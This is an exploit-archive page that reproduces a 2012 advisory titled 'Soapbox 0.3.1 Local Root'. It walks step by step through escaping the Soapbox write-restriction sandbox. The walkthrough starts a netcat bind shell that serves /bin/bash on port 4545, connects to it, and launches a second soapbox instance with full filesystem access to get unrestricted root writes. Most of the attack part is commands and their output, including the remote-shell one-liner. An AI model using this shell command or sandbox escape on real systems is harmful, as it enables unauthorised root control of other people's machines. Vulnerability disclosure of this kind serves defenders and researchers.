exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Soapbox 0.3.1 Local Root

Soapbox 0.3.1 Local Root
Posted Oct 2, 2012
Authored by Jean Pascal Pereira

Soapbox version 0.3.1 suffer from a local root code execution vulnerability.

tags | exploit, local, root, code execution
SHA-256 | fa6111f3bfe8c24bb8bf372dad0c191f2ae37919333b768bc405657c4799c826

Soapbox 0.3.1 Local Root

Change Mirror Download
-----------------------------------
soapbox 0.3.1 <= Local Root Exploit
-----------------------------------

Vendor URI: http://dag.wieers.com/home-made/soapbox/

Credit: Jean Pascal Pereira <pereira@secbiz.de>

Description:

"Soapbox allows to restrict processes to write only to those places you want. Read-access however is still based on file-permissions. By preloading the Soapbox library, you can run programs as root and monitor which writes/changes are made, without them really happening. (Typically 'make install')

Beware this can be used for security-purposes, but it can deliberately be circumvented. Soapbox only impacts dynamically linked programs that properly use glibc functions. I'm currently looking into a safer implementation using ptrace.

Soapbox also triggered some bugs in applications that trusted system calls too much. So you can use soapbox to test your programs for these kinds of mistakes too."

------------------------------------------------------------------------------------------


First of all, we have to run soapbox on our target system.
I'm going to create a new netcat process spawned in a restricted directory (/etc/opt/sbx).

------------------------------------------------------------------------------------------
root@havoc:/etc/opt/sbx# soapbox -l log -p /etc/opt/sbx /bin/nc -l -v -p 4545 -e /bin/bash
------------------------------------------------------------------------------------------

After establishing a connection to our target system, we get a sandboxed root shell.
Let's try to write data to a protected location.

------------------------------------------------------------------------------------------
$ nc 23.5.0.0 4545
echo boom > /etc/abc
bash: line 1: 1: Bad file descriptor
------------------------------------------------------------------------------------------

As we can see, soapbox restricts write access to this path.
But what happens if we start another soapbox instance with full file-system access?

------------------------------------------------------------------------------------------
$ nc 23.5.0.0 4545
soapbox -l log -p / /bin/bash # running another instance of soapbox that provides full file system access
echo boom > /etc/abc
cat /etc/abc
boom # BOOM!
------------------------------------------------------------------------------------------

BOOM. Now we're able to start an unrestricted root shell and gain control over the file system.

(This is still a local exploit because we were only able to exploit that issue remotely by using netcat).


/* http://0xffe4.org */
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close